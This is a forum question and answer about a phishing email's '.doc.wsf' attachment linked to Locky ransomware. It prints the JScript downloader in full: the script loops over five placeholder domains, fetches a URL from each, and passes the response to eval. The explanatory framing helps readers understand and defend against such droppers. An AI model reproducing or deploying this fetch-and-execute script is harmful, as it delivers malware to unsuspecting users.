以下 .wsf 电子邮件攻击究竟想做什么?

What exactly is the following .wsf email attack trying to do?

我最近收到了其中一封“FedEx 包裹无法送达,请打开附件中的 .doc”的电子邮件。因为我最近在网上订购了东西,而且我显然是个白痴,所以我点击打开了附件。幸运的是,我使用的是 Linux,所以打开“filename.doc.wsf”没有什么坏处。我做到了,但是很好奇其中包含的以下代码段到底想做什么。

根据我的谷歌搜索,最终目标是在 Windows 系统上安装名为 Locky 的恶意软件。数组 x[] 中列出了恶意软件试图从中下载的不同域,for 循环中的前几行似乎从片段构建了整个 url。 (我假设它已被分解以试图避免垃圾邮件检测。)但是从 "try " 开始我不太明白发生了什么?

<job><script language=JScript>
var x = new Array("DOMAIN1.com","DOMAIN2.ru","ftp.DOMAIN3.com","DOMAIN4.ru","DOMAIN5.com"); 
var y = "Msxml2.XMLHTTP"; 
for (var i=0; i<5; i++) 
    { 
        x[i] = "http://" + x[i]; 
        x[i] += "/co"; 
        x[i] += "unter/"; 
        x[i] += "?a=0.34960858&i=rRMDdRYvgD1oBqvgMjMaHDglAgtoQ1d6_hYJEPEXmzddhBr8QbsIrfboGHt9FZlWF53OH-6Q8M45bw"; 
        try { 
                var z = new ActiveXObject(y); 
                z.open("GET", x[i], false);
                z.send(); 
                if (z.status == 200) 
                { 
                    eval(z.responseText.split("~").join("a")); 
                    break; 
                }; 
             } 
        catch(e) { }; 
    };
</script></job>

它只是向 5 个不同的 URL 发送一个 HTTP get 请求并评估从 URL 检索到的内容。

这是一种从 PC 上的远程位置执行代码的简单方法。您可以在不更改此脚本的情况下更改远程代码,从而使您的逻辑更加灵活。